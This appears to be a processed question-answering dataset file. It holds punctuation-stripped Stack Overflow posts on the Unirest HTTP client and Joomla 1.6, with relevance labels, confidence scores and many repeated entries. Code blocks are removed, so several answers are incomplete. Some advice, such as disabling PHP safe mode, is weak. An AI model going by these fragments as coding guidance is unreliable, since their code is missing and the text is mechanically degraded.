http : i.stack.imgur.com LweW7.jpg .. . Answer : It s advisable to package everything in one uber jar by using Maven . Please refer to this post http : blog.mashape.com post 69117323931 installing-unirest-java-with-the-maven-assembly-plugin on how to use Unirest in your Java projects .", "Question : I have a Python Script which post data to a server url as below . I want to achieve this using unirest for Java . How do I add parameter header values for a unirest post request in Java .. . .. . Python Script : .. . .. . .. . .. . The server endpoint code is : .. . .. . .. . .. . What will be the unirest code in java Will the below code achieve the same result as the python script Comment : Please be specific what is the error it is giving you . Is there an error message .. . Answer : Without any more information I believe it is a simple bug with the location of your quotes . should really be .. . .. . note that tenant Id had no end quote . The whole line may have been treated as a string literal . Let me know if this fixed the bug Comment : The quotes was indeed missing..Thanks for pointing out . But my question is will this work as the script Comment : I do not know . Try to compile it and see if it works . Comment : @sromit let me know if this fixed your problem Comment : The code compiled fine but there are other problem in the server-side once that gets fixed I will let you know if my unirest code worked or not Comment : The unirest code is not working..but if I replace with the below code though for a diff method works just fine RestTemplate restTemplate new RestTemplate final String uri http : ping HttpHeaders headers new HttpHeaders headers.setAccept Arrays.asList MediaType.APPLICATION JSON HttpEntity String entity new HttpEntity String parameters headers ResponseEntity String result restTemplate.exchange uri HttpMethod.GET entity String.class System.out.println result", "Question : null .. . Answer : I m on Ubuntu 14.04 and have both python-2.7 and 3.4 installed in my system . I was trying to install python s unirest using pip . But it returns the following error . I also tried the solution here pip fails to install anything error : invalid command egg info http : stackoverflow.com questions 31719816 pip-fails-to-install-anything-error-invalid-command-egg-info but it did not work . Please help Comment : Are you sure it is python-2.x that is the default python version something tells me Python 3 is your default version Comment : The problem was my pip default version read pip 8.1.2 from usr local lib python3.4 dist-packages pip-8.1.2-py3.4.egg python-3.4 sudo pip2 install unirest returned successfully installed unirest . But when i import unirest in python I get a different error from email.Utils import parsedate tz ImportError : cannot import name parsedate tz", "Question : null .. . Answer : Code : http : pastebin.com 7yWpnf2p I have problems with importing library unirest . I successfully imported unirest but the files inside the package com.mashape.unirest.http haven t got imported : .. . .. . I don t know what to do . Can somebody help me I cant seek on github these files i wasted 30 minutes and not successfully Comment : Why dont you download the source files from github.com Mashape unirest-java archive master.zip https : github.com Mashape unirest-java archive master.zip and add it in your project source", "Question : null .. . Answer : I want to send an image file to a server with unirest . I ve read the unirest documentations but I still don t understand how I can do it . this is unirest code : .. . .. . or .. . .. . and i get this response from server : .. . .. . and this is my code :", "Question : null .. . Answer : I ve been searching but no solution so far. . This is how I made a GET request using Unirest : .. . .. . Is there a way to listen download progress of the response Comment : When is your callback block is being called As soon as the download has been completed or periodically If the latter there might be a value within your response object that indicates the overall size of the file in bytes as well as the bytes that have been downloaded so far . I m not sure whether this is available in unirest but it works that way in pure Cocoa .", "Question : We are using Unirest as REST client . Below is the sample code using which we are invoking REST service .. . .. . This is absolutely when REST service returns json . In case of error REST service that I am using is not returning json response . Instead it returns html error page . Since Unirest is trying to convert the html into json getting the following issue .. . .. . In this case we are just getting this InvalidJsonException and the actual html error page is lost . We need to display the html error page in our application in case of error . How can we get the original REST service error in situation like this Comment : I m not familiar with the service or the client you re using but should you even be trying to parse the response in case of an error Maybe you should check the status code before trying to interpret the response body as JSON Comment : @toniedzwiedz - Unfortunately Getting the status before parsing the response is not available in Unirest : .. . Answer : Since you cannot rely on the returned content-type the is workaround is to treat the response as String : .. . .. . This way you will have access to the return status code . Unirest will not try to parse the result to JSON so you need to do it yourself if the status code indicates success .", "Question : null .. . Answer : I m using unirest 1.3 and AIML ab jar there is some clash internally I m unable to http-put using unirest and it gives me this exception . Comment : can you share more code of what you ve tried . E.g . the code that produces this error .", "Question : Warning : curl setopt array : CURLOPT FOLLOWLOCATION cannot be activated when an open basedir is set . I am trying to install Unirest and when i executed php file i got this error message .. . Answer : This error means that your PHP configuration is prohibiting you from following the location . There are a few ways you could work around the problem . If you have root access you could change the php.ini file to disable safe mode . You could also create a .htaccess file in your document root with .. . php value safe mode off in it . You may be able to add ini set safe mode false in your PHP file .", "Question : null .. . Answer : What is the resulting response object if a Unirest http : unirest.io PHP Request times out I need to be able to identify a timeout vs any other kind of error . My guess is that it should return a status code 408 but I m just lookiong for confirmation . Apologies I currently can t test this myself as I m on my phone . I cant find it in the docs .", "Question : null .. . Answer : I write project in Java using Maven and to REST app using Unirest lib . My dependencies in pom.xml looks like : .. . .. . And I want connect with url https : demo-api.ig.com gateway deal . It is exchange provider and I want get response from provider so I must send information like in Example 1 : Logging in http : labs.ig.com rest-trading-api-guide . How can I do this with Unirest I try something like this : .. . .. . .. . but I need also give information abour my login and password", "Question : null .. . Answer : I am making a call to the API using Unirest PHP . It looks like this : .. . .. . The response body contains a lot if information . This is an stdClass Object . How can I parse this I tried parsing it as you would in JSON but I get an error . The response looks like this : .. . .. . All I want is the 300 from the response that occurs at the very end . Comment : response- body- result 0 Comment : Perfect . Thank you" ] }
[ "yes-answer-long", "yes-answer-short" ]
java
UNK_RELATION
joomla1.6@joomla@43
joomla1 .6 -- for issues relating to using @placeholder version 1.6 .please note that 1.6 is no longer supported on the official joomla .
{ "confidence": [ 50.2238655090332, 43.214942932128906, 42.36781692504883, 40.69047546386719, 38.912193298339844, 37.57325744628906, 37.0338134765625, 35.894081115722656, 34.84318542480469, 34.031349182128906, 33.438636779785156, 32.66484832763672, 32.66484832763672, 32.42262649536133, 32.271636962890625, 32.117252349853516, 31.576030731201172, 31.36916160583496, 30.531246185302734, 29.975954055786133, 29.84581756591797, 29.733993530273438, 29.733993530273438, 29.04741859436035, 27.485326766967773, 27.441448211669922, 27.38604736328125, 26.46773910522461, 25.86335563659668, 25.807720184326172, 25.197378158569336, 25.082347869873047, 25.082347869873047, 24.896900177001953, 24.83739471435547, 24.66073989868164, 24.63322639465332, 24.568950653076172, 24.30731201171875, 24.30731201171875, 24.30731201171875, 24.303560256958008, 24.27513313293457, 23.65612030029297, 23.475801467895508, 23.260408401489258, 23.16836929321289, 23.16836929321289, 22.92770004272461, 22.92770004272461, 22.92770004272461, 22.78156280517578, 22.698314666748047, 22.446678161621094, 22.151107788085938, 22.125219345092773, 21.838882446289062, 21.838882446289062, 21.62712860107422, 21.596923828125, 21.57724380493164, 21.57724380493164, 21.57724380493164, 21.57724380493164, 21.57724380493164, 21.481901168823242, 21.254886627197266, 21.113924026489258, 21.078800201416016, 21.051782608032227, 20.92605209350586, 20.815288543701172, 20.815288543701172, 20.589332580566406, 20.538311004638672, 20.27227020263672, 20.27227020263672, 20.200428009033203, 20.200428009033203, 20.0875244140625, 20.051494598388672, 20.051494598388672, 20.051494598388672, 20.051494598388672, 20.051494598388672, 20.051494598388672, 20.051494598388672, 20.001222610473633, 20.001222610473633, 20.001222610473633, 20.001222610473633, 19.955671310424805, 19.955671310424805, 19.955671310424805, 19.955671310424805, 19.955671310424805, 19.955671310424805, 19.621076583862305 ], "content": [ "Version 1.6 was the core of the new release and is no longer supported .", "I am new to Joomla 1.6 .", "Just an initial note : Joomla 1.6 1.7 are pretty similar .", "I m porting a Joomla 1.6 component to 3.2 .", "I have installed Joomla 1.6 .. . .. . Thanks for any help .", "Sorry not joomla 2.5 its joomla 1.6 i am edited my topic", "If we look at the Joomla 1.6 demo page at : hhttp : demo16.cloudaccess.net index.php using-joomla extensions We can see that Using Joomla", "I m implementing a custom MVC component following the Joomla 1.6 Documentation http : docs.joomla.org Developing a Model-View-Controller 28MVC 29 Component for Joomla 1.6 .", "I know JFile and write function in Joomla 1.6 but is there a similar function for Joomla 2.5 too", "I ve been using this method on both SEF-enabled and SEF-disabled joomla 1.6 sites", "Starting with Joomla 1.6 the CMS is separated from the underlying Joomla platform therefore you should look into using the Joomla platform to be able to use for example the database connector .", "Redirection inside a controller file : .. . .. . In Joomla 1.6 and 1.7 use this for redirection inside model file :", "What is the difference between the usage of the install.sql file specified in extension manifest files on Joomla 1.5 and 1.6 .", "It is deliberate as from 1.6 up there is now a update tag for sql : .. . .. . See the Joomla 1.6 wikipage on the manifest.xml structure here http : docs.joomla.org Manifest files SQL for more information on this", "I assume you to use some component for your feed generator Take a look here http : extensions.joomla.org extensions content-sharing rss-syndicate Also upgrade your joomla website the 1.6 version is not supported anymore .", "1.6+ ACL system .", "That should work according to http : api.joomla.org Joomla-Platform Database JDatabaseQuery.html delete and http : docs.joomla.org JDatabaseQuery : : delete 1.6 .. . .. . Frustrating", "I have site in joomla 1.6 on server and when i tried to update joomla it showes me this error : -1 - An error has occurred Copy failed Whats wrong", "1.6 and my host server is godaddy.com Please can anyone what the problem is and how to fix it", "I m using core component Syndication Feeds from 1.6 .", "Download link : http : www.jextn.com joomla-testimonial-component .. . .. . Demo link : http : www.jetestimonial.jextn.com .. . .. . JE Testimonial - 2.0.0 1.6 Native Released with default ACL Features .", "@Elin : yes I have in 1.6 . how to overwrite manually and which files", "You should also upgrade from 1.6 that has been obsolete for a year .", "Just a note that in 1.6+ you cannot justi mport into the content table you must also add to the assets table and this has to be done using the API", "I am using latest Joomla 1.5.x version .", "Please support the Joomla proposal http : area51.stackexchange.com proposals 34294 joomla-answers on area51 if you d like a dedicated Joomla equivalent of StackOverflow .", "I m new to Joomla and I m now using Joomla 1.6 .. . .. . The problem I encounter is when I try to upload an extension via the admin tool and I get the following error message : .. . .. . I ve read some relevant messages but didn t get it solved .", "The usertype attribute is deprecated in joomla 2.5 and hence should no longer be used .", ".. . .. . Edit : .. . .. . Model : .. . .. . And table : .. . .. . .. . .. . References : Joomla 1.6 - Admin Form - Processing grouped checkboxes in Form http : stackoverflow.com questions 6964333 joomla-1-6-admin-form-processing-grouped-checkboxes-in-form .. . .. . Tutorial code is not working any more in Joomla 2.5 http : stackoverflow.com questions 9017599 tutorial-code-is-not-working-any-more-in-joomla-2-5 .. . .. . http : docs.joomla.org Developing a Model-View-Controller 28MVC 29 Component for Joomla 1.7 - Part 09 Adding a toolbar", "I am very new to Joomla frankly just started exploring the possibility of using Joomla and need help with programmatically adding articles to Joomla backend tables please see details below .", "That s been missing in joomla since version 1 .", "I ll assume 1.6 1.7 as that s what I d recommend as a base for a new project .", "In 1.6 I was able to read the components parameters defined via config.xml in a view of the component .", "According to the source http : joomlacode.org gf project joomla scmsvn action browse path development tags 1.6.x 1.6.3 libraries joomla form form.php view markup this is the correct API : .. . .. . And getInput just calls getField : .. . .. . Which means you should be doing this to set a default-value : .. . .. . Or :", "In the official joomla website they have wriiten their that it must be good to use Jrequest : : getVar instead of using post and get as it is filtering the bad characters .", "I have a problem while trying to install Freestyle Testimonials File Name - freestyle testimonials lite-1.6.0 1 .zip a component for testimonials for Joomla 1.6 as there is an error message appearing Component Install : Another component is already using directory : home faster public html webmaster components com fst .", "In Joomla", "Add jquery files in that file using addscript kind function of joomla", "I m a newbie to Joomla .", "My site is Joomla", "Godaddy is TERRIBLE for joomla sites .", "Any suggestion for joomla 3.2 version for format d- m- Y H : i : s and it is not working in joomla 3.2.3 Stable", "More info about filter types at docs.joomla.org Retrieving request data using JInput http : docs.joomla.org Retrieving request data using JInput On a different note please consider supporting a Joomla StackExchange network at area51.stackexchange.com proposals 58842 joomla http : area51.stackexchange.com proposals 58842 joomla", "I have a problem in my Joomla", "could you please explain to me what is the purpose of assets table in joomla", "v1.5 samples : http : forum.joomla.org viewtopic.php p 1559295 .. . .. . This is a follow on to my query here : Joomla 1.6 External PHP Interaction Issue http : stackoverflow.com questions 7039162 which got no response .. . maybe a bit too long and rambling .", "There are 2 instances of the folder one in JOOMLA components and one in JOOMLA adminstrator components .", "If you are new to Joomla I would recommend downloading Joomla 2.5.6 .", "It gives the in depth flexibility for using testimonials in Joomla based website .", "If you re using the standard sample content installed when setting up a Joomla", "Here are some examples : How to create a stand-alone application using the Joomla", "I agree with Jav Rock : godaddy is not compatible with Joomla .", "You might be looking for the official Joomla Unit Testing Documentation http : docs.joomla.org Unit Testing - It contains example tests and more stuff to help you getting started .", "JLoader : : is the Joomla", "I m building a backend component 1.6 1.7 2.5 where I need to pass a variable from another view into a field in a new record .", "In Joomla 1.5 can t speak for any other version the article.php file is underneath the base components directory not administrator", "I have integrated Joomla with a vBulletin and a CPG using jFusion .", "All the menus are defined as a stand-alone modules and I m using Joomla 1.6.3 .", "I have deleted folder com fst from both of the joomla administrator components and also joomla-component directories .", "or modify according to you. . .. . .. . and put that file into you joomla administrator folder .", "@BrentFriar Most of the CCK s for Joomla", "JPATH COMPONENT ADMINISTRATOR is initialised as part of Joomla", "JSubMenuHelper is designed to be used in the Joomla", "The assets table is part of the Joomla", "This works in Joomla 3.0 as well .", "Edit .. . .. . As a note with every Joomla update you would probably need to compare the versions in the core in case there was a change .", "In Joomla 2.5 and Joomla 3.0 .. . .. . Redirection inside a model file : .. . .. . This redirection works in all files inside joomla But the better way is to use in controller file is the below one .", "The thing is I am using Joomla API every where-in my code.So ho can i use the default Joomla db object db JFactory : : getDBO for this", "I m new to Joomla dev and php so if I m doing something stupid please let me know", "Note however the entire Joomla Core in 2.5 uses JRequest because JInput fails on any site with magic-quotes still turned on", "However I do agree that Joomla", "I have integrated Joomla with a vBulletin and a CPG using jFusion for my upcoming site for Cancer patients .", "I have used mysql mysql-real-escape-string somevariable in my code developed using Joomla", "Descriptions : .. . .. . The JE Testimonial joomla-component is one more useful utility for your Joomla-powered site that will provide you with a tool for managing and administering testimonials .", "The key : .. . .. . The standard form field types are located in joomla libraries joomla form fields .", "Is it working in Joomla 2.5 also.. .", "DO NOT HACK TO JOOMLA CORE .", "The actual list of fields will be a bit longer than that required fields etc but you should get sane error messages etc from the Joomla framework which illuminate that .", "Consider that if Joomla were filtering out s you d no longer be able to have a text field containing Eat at Joe s and anyone with the last name of O Malley would be told their name s invalid .", "Yes you can even start at a sub level and do many things check this documentation : docs.joomla.org Creating a submenu Separate Menu Modules http : docs.joomla.org Creating a submenu Separate Menu Modules I am pretty sure this applies to both 1.5 and 1.6", "Also the CCKs are usually poorly integrated with the rest of Joomla", "We are running Joomla 1.6.0 .. . .. . Thanks .. . .. . PS .", "I didn t get anything in Joomla docs .", "You can see it in libraries joomla filesystem file.php", "like thats is there any free modules available in joomla .", "What I m trying to do is create a submenu in Joomla", "You can read more about Joomla", "I need to see the output by mobile joomla plugin in my regular browser to be able to style and tweak things easily .", "In older versions of mobile joomla ther was an option Mobile Always that would output mobile views all the time .", "Sorry but that s your problem - has nothing to do with Joomla or your coding but rather with a poor server host .", "Not sure how you can guarantee that it has nothing to do with joomla or the asker s coding .", "I want to be able to extend this program to programmatically store this information in Joomla .", "First up you ll need to be running with access to the Joomla framework .", "com content is really not the way for creating variable content in joomla anymore .", "No Proble . Some of them already exist for Joomla 1.7 2.5 .", "The test facility has to do some work to be able to load the Joomla", "However if the joomla uses it s own test runner then this is needed for their suite .", "Take a look at the Joomla Component Creator ." ] }
{ "confidence": [ 54.71398162841797, 49.490055084228516, 48.955848693847656, 45.880615234375, 44.52450942993164, 43.248863220214844, 42.80564880371094, 42.43762969970703, 41.457611083984375, 41.248653411865234, 40.99671936035156, 40.71672821044922, 40.594947814941406, 40.32764434814453, 40.161781311035156, 39.864505767822266, 39.843509674072266, 39.74662399291992, 39.57148742675781, 39.291465759277344 ], "content": [ "Question : I m new to Joomla and I m now using Joomla 1.6 .. . .. . The problem I encounter is when I try to upload an extension via the admin tool and I get the following error message : .. . .. . I ve read some relevant messages but didn t get it solved . The phpinfo returns a value which I think may be relevant : .. . .. . Am I correct If yes how can I change it I can t remote to the server . Comment : If you are new to Joomla I would recommend downloading Joomla 2.5.6 . Version 1.6 was the core of the new release and is no longer supported . .. . Answer : Try.. . put top of the file ini set memory limit -1", "Question : I m new to Joomla and I m now using Joomla 1.6 .. . .. . The problem I encounter is when I try to upload an extension via the admin tool and I get the following error message : .. . .. . I ve read some relevant messages but didn t get it solved . The phpinfo returns a value which I think may be relevant : .. . .. . Am I correct If yes how can I change it I can t remote to the server . Comment : If you are new to Joomla I would recommend downloading Joomla 2.5.6 . Version 1.6 was the core of the new release and is no longer supported . .. . Answer : Your memory limit 24 Megabyte is rather low for Joomla and especially for its updater . I recommend at least 32 Megabyte better 64 Megabyte . The how to change is it is dependent on your server environment . If you have access to your php.ini you should look for a line that contains memory limit and set its value to 32M or 64M or whatever value works for you .. . .. . In case you can t access the php.ini try setting it trough the .htaccess file : .. . .. . If that also fails you should contact your hoster . Some have a web interface to allow changing this settings . Unfortunately others doesn t allow changing it at all . Your only chance is begging your hoster to change its server configuration .", "Question : I m new to Joomla and I m now using Joomla 1.6 .. . .. . The problem I encounter is when I try to upload an extension via the admin tool and I get the following error message : .. . .. . I ve read some relevant messages but didn t get it solved . The phpinfo returns a value which I think may be relevant : .. . .. . Am I correct If yes how can I change it I can t remote to the server . Comment : If you are new to Joomla I would recommend downloading Joomla 2.5.6 . Version 1.6 was the core of the new release and is no longer supported . .. . Answer : Seems to be you re running out of the allowed memory size . Try to optimize your code and query . Also you can change the php-ini settings . Here is the one .htaccess solution .. . .. . I ve added arbitrary values just change based on your requirements . And put this .htaccess at your projects root folder such that this changes will only be applicable to your project folder.. .", "Question : I have a problem in my Joomla site . My site loads very very very slowly and sometimes return an error which is : Fatal error : Maximum execution-time of 30 seconds exceeded in D : Hosting 6926666 html libraries joomla environment request.php on line 11 Note that the D : Hosting 6926666 html libraries joomla environment request.php on line 11 alayws changes not the same path . Hint : In local my site working very good the problem happened when the site and the database are on the server or the database is only on the server . My site is Joomla 1.6 and my host server is godaddy.com Please can anyone what the problem is and how to fix it I m a bigenner so please make it as simple as you can : Comment : Godaddy is TERRIBLE for joomla sites . I used them for years - at first they were okay when they were just starting out but over the years their servers are over-shared over-loaded piles of poop that really don t do well with Joomla sites at all . I always ALWAYS recommend people get FAR away from godaddy for reasons like this . Sorry but that s your problem - has nothing to do with Joomla or your coding but rather with a poor server host . Comment : Not sure how you can guarantee that it has nothing to do with joomla or the asker s coding . If godaddy were absolutely useless for all sites they wouldn t be in business . So there must be something about this specific setup that is contributing to the problem . Where the fault lies is another issue . Comment : While it is probably a Godaddy issues you are probably on a loaded server you really should confirm it one way or another . You should also upgrade from 1.6 that has been obsolete for a year . Use the built-in upgrade system . .. . Answer : I agree with Jav Rock : godaddy is not compatible with Joomla . So to solve your problem you should find another hosting provider", "Question : I have a problem in my Joomla site . My site loads very very very slowly and sometimes return an error which is : Fatal error : Maximum execution-time of 30 seconds exceeded in D : Hosting 6926666 html libraries joomla environment request.php on line 11 Note that the D : Hosting 6926666 html libraries joomla environment request.php on line 11 alayws changes not the same path . Hint : In local my site working very good the problem happened when the site and the database are on the server or the database is only on the server . My site is Joomla 1.6 and my host server is godaddy.com Please can anyone what the problem is and how to fix it I m a bigenner so please make it as simple as you can : Comment : Godaddy is TERRIBLE for joomla sites . I used them for years - at first they were okay when they were just starting out but over the years their servers are over-shared over-loaded piles of poop that really don t do well with Joomla sites at all . I always ALWAYS recommend people get FAR away from godaddy for reasons like this . Sorry but that s your problem - has nothing to do with Joomla or your coding but rather with a poor server host . Comment : Not sure how you can guarantee that it has nothing to do with joomla or the asker s coding . If godaddy were absolutely useless for all sites they wouldn t be in business . So there must be something about this specific setup that is contributing to the problem . Where the fault lies is another issue . Comment : While it is probably a Godaddy issues you are probably on a loaded server you really should confirm it one way or another . You should also upgrade from 1.6 that has been obsolete for a year . Use the built-in upgrade system . .. . Answer : I FOUND MY PROBLEM AND PERHAPS IT MIGHT HELP YOU : After reading various posts about the template I changed to another template and the website sped up considerably . I then did some investigating and found the index.php of the template has been HACKED and there was EVAL and BASE 64 code in there As soon as I put in a clean version of the PHP the website was back to normal Hope this helps someone . -- John Kiernan", "Question : I have a problem in my Joomla site . My site loads very very very slowly and sometimes return an error which is : Fatal error : Maximum execution-time of 30 seconds exceeded in D : Hosting 6926666 html libraries joomla environment request.php on line 11 Note that the D : Hosting 6926666 html libraries joomla environment request.php on line 11 alayws changes not the same path . Hint : In local my site working very good the problem happened when the site and the database are on the server or the database is only on the server . My site is Joomla 1.6 and my host server is godaddy.com Please can anyone what the problem is and how to fix it I m a bigenner so please make it as simple as you can : Comment : Godaddy is TERRIBLE for joomla sites . I used them for years - at first they were okay when they were just starting out but over the years their servers are over-shared over-loaded piles of poop that really don t do well with Joomla sites at all . I always ALWAYS recommend people get FAR away from godaddy for reasons like this . Sorry but that s your problem - has nothing to do with Joomla or your coding but rather with a poor server host . Comment : Not sure how you can guarantee that it has nothing to do with joomla or the asker s coding . If godaddy were absolutely useless for all sites they wouldn t be in business . So there must be something about this specific setup that is contributing to the problem . Where the fault lies is another issue . Comment : While it is probably a Godaddy issues you are probably on a loaded server you really should confirm it one way or another . You should also upgrade from 1.6 that has been obsolete for a year . Use the built-in upgrade system . .. . Answer : for : .. . .. . first create a php.ini file and place the code only max execution-time 120 means execution-time is 120 Sec . or 2 Minute . or modify according to you. . .. . .. . and put that file into you joomla administrator folder . Or you can directly edit the php.ini if you have access on it . also enable cache for the required modules. . .. . .. . Hope this will help you to prevent. . Comment : That s putting a bandaid on an amputation . The pages shouldn t be taking 30 seconds to load in the first place .", "Question : I have enabled Syndication Feeds then created RSS Feed module to display it in the footer of a web site but I have hit into issue that RSS Feed link is empty . Site is located here http : holyapostlesnyc.org .. . .. . Any idea what can be wrong We are running Joomla 1.6.0 .. . .. . Thanks .. . .. . PS . When I have added menu as category list I am able to user raw output to RSS Feed http : holyapostlesnyc.org index.php option com content view category id 8 format feed type rss http : holyapostlesnyc.org index.php option com content view category id 8 format feed type rss .. . .. . Maybe it will help to find out why is not working by default .. . Answer : As I can see your feed link is dead something is not working properly . I assume you to use some component for your feed generator Take a look here http : extensions.joomla.org extensions content-sharing rss-syndicate Also upgrade your joomla website the 1.6 version is not supported anymore . 2.5 is the up and running version Comment : I m using core component Syndication Feeds from 1.6 . I will try any from attached link-to see if it will work . Thanks", "Question : I have site in joomla 1.6 on server and when i tried to update joomla it showes me this error : -1 - An error has occurred Copy failed Whats wrong please help me .. . .. . .. . .. . enter image description here http : i.stack.imgur.com 44WcW.png Comment : Are you trying to update it directly on the server Comment : yes i am updating on server-side Comment : @Manan : Check folder permission . Comment : Was this a 1.6.0 site You might just want to manually overwrite the files . The autoupdate was a little flakey early on and it definitely could not do the database changes . Comment : @Elin : yes I have in 1.6 . how to overwrite manually and which files .. . Answer : Just download the upgrade package from joomla.org and overwrite the files on your host with ftp . Once uploaded go in administrator extensions manage extensions database and press the fix button . Clean the cache and tmp folders and you re ready to go .", "Question : I m a newbie to Joomla . Is there any way to create a test page which is not visible to all but for those which are logged in I have installed Joomla 1.6 .. . .. . Thanks for any help . Comment : Voted to close as off-topic this is not a programming question . Please support the Joomla proposal http : area51.stackexchange.com proposals 34294 joomla-answers on area51 if you d like a dedicated Joomla equivalent of StackOverflow . .. . Answer : You can create sample menu through menu manger and assign an article to the that menu item.This menu item will not be visible to the users until you provide some link-to main menu or some other visible menu managers.Now You can access that page by using the following url http : localhost practise index.php name of the menu", "Question : I m porting a Joomla 1.6 component to 3.2 . In 1.6 I was able to read the components parameters defined via config.xml in a view of the component . In 3.2 the parameters are empty since the value imagepath is always set to impossibru . This is the code I use for my view : .. . .. . This is the code of my config.xml defining the components parameters : .. . .. . The output of the var-dump s is as follows : .. . .. . As you can see the JParameter object does not contain any values . I can see and set the parameter within the configuration part of the joomla backend though Any idea .. . Answer : The parameters aren t available in the views until you go to the configuration of the component in Joomla and click on the save button .", "Question : I know JFile and write function in Joomla 1.6 but is there a similar function for Joomla 2.5 too I didn t get anything in Joomla docs . .. . Answer : you can import it using the following code snippet :", "Question : I m a newbie to Joomla . Is there any way to create a test page which is not visible to all but for those which are logged in I have installed Joomla 1.6 .. . .. . Thanks for any help . Comment : Voted to close as off-topic this is not a programming question . Please support the Joomla proposal http : area51.stackexchange.com proposals 34294 joomla-answers on area51 if you d like a dedicated Joomla equivalent of StackOverflow . .. . Answer : You only need to switch the access permission from public to registerd in the article editing form . Comment : Bud do I need to add it to the menu to have it accessible Or just use alias as URI Comment : you should add it to the menu but you can make the menu item for registered users only too . or you create a hidden menu you add the test page .", "Question : What is the difference between the usage of the install.sql file specified in extension manifest files on Joomla 1.5 and 1.6 . In 1.5 if you use method upgrade and the component is already installed install.sql DOES get executed . In 2.5 if you use method upgrade and the component is already installed install.sql DOES NOT get executed . Does anyone know if this change was intentional .. . Answer : It is deliberate as from 1.6 up there is now a update tag for sql : .. . .. . See the Joomla 1.6 wikipage on the manifest.xml structure here http : docs.joomla.org Manifest files SQL for more information on this Comment : can you plz explain with more details . Comment : When you install a module for the first time it will be marked as being installed and thus follow the install tag . If you install and the component is already installed then the it is counted as a upgrade and thus a different sql file is needed . In this case the update tag I used above is needed", "Question : I have a problem in my Joomla site . My site loads very very very slowly and sometimes return an error which is : Fatal error : Maximum execution-time of 30 seconds exceeded in D : Hosting 6926666 html libraries joomla environment request.php on line 11 Note that the D : Hosting 6926666 html libraries joomla environment request.php on line 11 alayws changes not the same path . Hint : In local my site working very good the problem happened when the site and the database are on the server or the database is only on the server . My site is Joomla 1.6 and my host server is godaddy.com Please can anyone what the problem is and how to fix it I m a bigenner so please make it as simple as you can : Comment : Godaddy is TERRIBLE for joomla sites . I used them for years - at first they were okay when they were just starting out but over the years their servers are over-shared over-loaded piles of poop that really don t do well with Joomla sites at all . I always ALWAYS recommend people get FAR away from godaddy for reasons like this . Sorry but that s your problem - has nothing to do with Joomla or your coding but rather with a poor server host . Comment : Not sure how you can guarantee that it has nothing to do with joomla or the asker s coding . If godaddy were absolutely useless for all sites they wouldn t be in business . So there must be something about this specific setup that is contributing to the problem . Where the fault lies is another issue . Comment : While it is probably a Godaddy issues you are probably on a loaded server you really should confirm it one way or another . You should also upgrade from 1.6 that has been obsolete for a year . Use the built-in upgrade system . .. . Answer : Are you using any third-party extensions If so how many The more you use the more likely it is that one of them has introduced an issue . I d like to suggest that you review the code and database structure associated with each extension to determine where there might be a problem . I m currently doing this with a fairly simple site that is using a LOT of extensions so many that it breaks the admin UI . Some of them are terribly written - e.g . making many database lookups when 1 is required writing to the database with every single request storing several values in a single column etc . However you say you re a beginner so I think your best bet is either : .. . .. . Get someone who is not a beginner to do the above review for you .. . Experiment by enabling disabling each extension in turn to determine which are problematic . That s not very scientific but might get you somewhere . If you can try enabling debug you can do that via the Global Configuration . This will show you - amongst other things - how many database queries are required to generate your page . I can t give you an absolute figure for what is good or not suffice it to say that fewer is better So for example if you identify a low-priority extension whose removal saves you 25 of the total you might well decide to disable that module - and possibly look for an alternative . As a guide the site I m working on originally made 500-600 queries for the home page . In my opinion that is far FAR too many .", "Question : I am new to Joomla 1.6 . I have a problem while trying to install Freestyle Testimonials File Name - freestyle testimonials lite-1.6.0 1 .zip a component for testimonials for Joomla 1.6 as there is an error message appearing Component Install : Another component is already using directory : home faster public html webmaster components com fst . I cannot install the component . Then I tried installing another module for testimonial AutarTimonial File Name - mod autartimonial1.6.zip . It installed and can be viewed under module manager but I cannot put it into my desired location such as Testimonials menu in the Admin area . I am totally confused and asking for help . Thanks in advance . Subhagreen .. . Answer : Descriptions : .. . .. . The JE Testimonial joomla-component is one more useful utility for your Joomla-powered site that will provide you with a tool for managing and administering testimonials . JE Testimonial is the long waited component for the Joomla users from our extended brain search . It gives the in depth flexibility for using testimonials in Joomla based website . Download link : http : www.jextn.com joomla-testimonial-component .. . .. . Demo link : http : www.jetestimonial.jextn.com .. . .. . JE Testimonial - 2.0.0 1.6 Native Released with default ACL Features . Features of JE Testimonial 1.2 .. . .. . Module Features : .. . .. . Component Features : .. . .. . Front end Feature List : .. . .. . Back end Features : .. . .. . New Features in JE Testimonial 1.1 : .. . .. . JE Testimonials Module Features : Comment : Hi Thanks for the feedback . But this JE Testimonial is a paid service . I would like to have a free component for my site . Could anyone help me in this regards", "Question : In my client server..I am trying to login there is no response...page only reloading.. . .. . .. . And i am trying to register in his site it showing following error .. . .. . Invalid Token .. . .. . .. . So i am try to print the posted value in registration model page using .. . .. . .. . post JRequest : : get post requestData JRequest : : getVar jform array post array .. . .. . .. . Both variables post requestData are return empty... . The same project run successfully in my local server... . .. . .. . Any body face the same problem Please help me..... . : Comment : check your php versions at both localhost and live server...try this link for joomla 2.5 docs.joomla.org Retrieving request data using JInput http : docs.joomla.org Retrieving request data using JInput Comment : @swapnesh i tried with POST its also return empty Comment : Sorry not joomla 2.5 its joomla 1.6 i am edited my topic Comment : Client server PHP version : 5.3.10 MySQl : 5.0.92 .. . Answer : Issue Fixed .. . .. . Follow the steps to fix this issue.. . In admin side Back End .. . .. . 1 Site- Maintenance- clear cache .. . .. . Remove all pages.. . .. . .. . 2 Move to Global configuration in Site tab SEO settings panel Set Use Apache mod-rewrite as No radio-button", "Question : I am very new to Joomla frankly just started exploring the possibility of using Joomla and need help with programmatically adding articles to Joomla backend tables please see details below . Also along the same lines I would like to understand how should values for the columns : .. . .. . parent id .. . lft .. . rgt .. . level .. . .. . be generated for the table jos assets assets and what is their functional role eg are they pointers indexes analogous to say an os inode to uniquely indentify a file or are they more functional attributes such as identifying the category subcategory etc .. . .. . It might help to use the following SIMPLIFIED example to illustrate what I am trying to do . Say we have a program that collects various key information such as names of the authors of web articles the subject type of the articles the date of articles as well as a link-to the article . I want to be able to extend this program to programmatically store this information in Joomla . Currently this information is stored in a custom table and the user through a custom php web page can use search criteria say by author name over a certain range of dates to find the article s of interest . The result-of this search is then displayed along with a hyperlink to the actual article . The articles are stored locally on the web server and are not external links . The portion of the hyperlink stored in the custom table includes the relative-path of the physical document relative to the web root so for example : .. . .. . etc . With all the advantages that Joomla offers over writing custom php search and presentation pages as well as trending etc we would really like to switch to it . It seems that among other tables for example that assets and content can be populated programmatically to populate Joomla from our existing php program which is used to compile the data and then use Joomla . Any examples suggestions and help is greatly appreciated .. . .. . Kindest regards Gar Comment : More complete answer here stackoverflow.com questions 12643725 http : stackoverflow.com questions 